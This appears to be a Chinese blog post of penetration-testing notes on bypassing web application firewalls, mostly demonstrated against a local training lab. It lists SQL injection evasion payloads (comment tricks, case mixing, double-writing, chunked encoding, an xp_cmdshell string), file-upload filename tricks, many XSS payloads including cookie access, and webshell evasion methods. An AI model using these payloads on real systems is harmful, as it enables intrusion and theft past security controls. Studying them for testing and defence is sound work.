waf绕过

本文详细探讨了WAF(WebApplicationFirewall)的分类、检测机制,包括白名单/黑名单认证、数据包解析和规则判断。此外,文章还介绍了各种绕过身份认证、数据包处理和恶意文件上传的方法,以及XSS攻击和Webshell的防御与分析策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.市场Waf分类
  

硬件Waf:绿盟、安恒、启明、知道创宇等
        需要选择模式
        透明模式
        反向代理分为反向代理(代理模式)与反向代理(牵引模式)
        反向代理又分为两种模式,反向代理(代理模式)与反向代理(牵引模式)
        旁路监控
软件Waf:安全狗、云锁、中间件自带的Waf模块
云WAF:阿里云、安全狗、知道创宇、安恒

2.WAF的检测方法
  

首先白名单黑名单身份认证--数据包解析--规则判断--拦截     

   

3.身份认证阶段绕过
    

  • 伪造搜索引擎绕过

        

  •  伪造白名单的特殊目录

        admin/../  方式绕过
        http://10.0.0.139:92/pikachu/pkxss/admin/../pkxss_login.php
         

4.数据包解析绕过
  

  •  1、burp安装waf模块

云WAF绕过方法:伪造XFF头为127.0.0.1或找出真实IP绕过 
 安装插件
          

     

              加一些路径
                                                

  • 2、通过工具伪造百度、google等user agent头或者伪造白名单特殊目录
  •  3、编码url绕过

  输入and 1=1


将and换位&&


进行url编码
                 

 

 去掉1=1


将1=1换位-1=-1


    4、修改请求方式绕过:利用waf的默认规则绕过,如默认只针对拦截,不对post拦截
        对方支持request
       为request就是可以


          

  •  5、复合参数绕过

        http://10.0.0.139:92/sql.php?id=1&id=and&id=1=2

  •     6、WAF触发规则的绕过

   内联注释代替空格/**/代替空格
     http://10.0.0.139:92/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/-1=-1


特殊字符拼接
            例如: exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
注释包含关键字
            /*!*/包含关键词
                GET /pen/news.php?id=1 /*!union*/ /*!select*/  user,password /*!from*/ mysql.user
            and /*!1*/=/*!1*/ #
                加!是被执行
            Lucy' order /*!11440 by*/ 1,2#
                跟这个数字有关,这是一个版本
            -1'  union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#
使用大小写
            http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
双写绕过
            http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
关键字替换
            xor异或绕过
            mod绕过
            = | like|in、group_concat() | concat_ws()、@@version | version()
利用WAF本身的功能绕过利用*代替空格
            ,如uni*on+sel*ect+1,2,3,4....
组合法
            and /*!1=1*/ %23
            把and为&&,urlencode后为%26%26  如:%20%26%26%20-1=-2

  •     7、分块传输绕过

 支持get 或request
  变更请求方法


 使用分块传输


 0代表传输完成

  • 8.利用其他变量或命令执行语句

      and mod(8,7) in (1)
      and mod(8,7) in (2)
       异或运算(测注入点)xor
            vince ' Xor '1'='1' #
            vince ' Xor '1'='2' #     

5.文件上传绕过
    

  • 方法一:等号绕过

        被waf拦截


 上传成功
                

  •     方法二:换行绕过

  •     方法三:填充垃圾字符

        在from-data前加一些垃圾字符
            

  •     方法四:突破0,文件名前缀加[0x09]绕过

  •         方法五:文件名去掉双引号绕过

6.XSS绕过Waf
  

  • HTML5 新标签

        <details%20open%20οntοggle=alert(/xss/)>
        <details open οntοggle=top['prompt'](1)>
          <details open οntοggle=top['al'%2b'ert'](1)>
          audio标签
            <audio src=x οnerrοr=alert(47)>
            <audio src=x οnerrοr=prompt(1);>
            <audio src=1 href=1 οnerrοr="javascript:alert(1)"></audio>
        video标签
            <video src=x οnerrοr=alert(48)>
            <video src=x οnerrοr=prompt(1);>
        div标签
            <div style="width:expression(alert(/1/))">1</div>     ie浏览器执行
            <div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>   url编码绕过
        math标签
            <math><a/xlink:href=javascript:prompt(1)>Xss
            <math href="javascript:javascript:alert(1)">Xss</math> 
        button标签
            <button οnfοcus=alert(1) autofocus>
            <button/οnclick=alert(1) >xss</button>
            keygen/οnfοcus=prompt(1);>
        keygen标签
            <keygen οnfοcus=javascript:alert(1) autofocus>
        object标签
            <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
            base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg    <script>alert(1)</script>
        iframe标签
            <IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME>
            <iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d">
            <iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>

  •     大小写绕过
  •     javascript伪协议
  •     没有分号
  •     Flash
  •     Fuzz进行测试
  •     双层标签绕过 

7.Webshell免杀(服务端绕过)
    

用小马传大马(读取文件路径)
小马功能单一,大马功能多,小马代码少,小马作用就是传大码
 PHP小马
注释法(干扰waf)
 替换函数  

类函数组合法

把马创建成涵数,后面只要调用涵数就行

变量覆盖

在线加密

通过NTFS交换数据流文件实现文件隐藏

8.Webshell后门分析
    

代码分析定位法
抓包分析法
数据流量协议分析法
      

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值